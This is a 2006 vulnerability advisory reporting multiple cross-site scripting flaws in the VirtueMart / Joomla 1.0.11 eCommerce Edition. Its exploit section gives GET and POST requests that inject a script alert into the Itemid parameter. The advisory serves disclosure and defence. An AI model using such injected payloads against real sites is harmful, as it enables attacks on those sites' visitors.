VirtueMart Joomla eCommerce Edition CMS Multiple XSS Vulnerabilities


Status: Reported to the Vendor [09/26/2006]
Class: Input Validation Error
Severity: Low


Software Description:
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VirtueMart (formerly known as mambo-phpShop) is an Open Source
E-Commerce solution to be used together with a Content Management
System (CMS) called Joomla!

Vulnerability Description:
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Multiple cross-site scripting vulnerabilities exist in the Joomla
eCommerce edition software provided by VirtueMart.

Vulnerable Software:
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Joomla 1.0.11 eCommerce Edition (prior versions may also be vulnerable)

Exploit:
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GET: index.php
option=com_contact&Itemid="><script>alert('XSS');</script>
POST: index.php
subscriber_name=1&email=1&task=subscribe&Itemid="> <script>alert('XSS');</script>

Solution:
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None at this time.

Credits:
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Discovered by Adrian Castro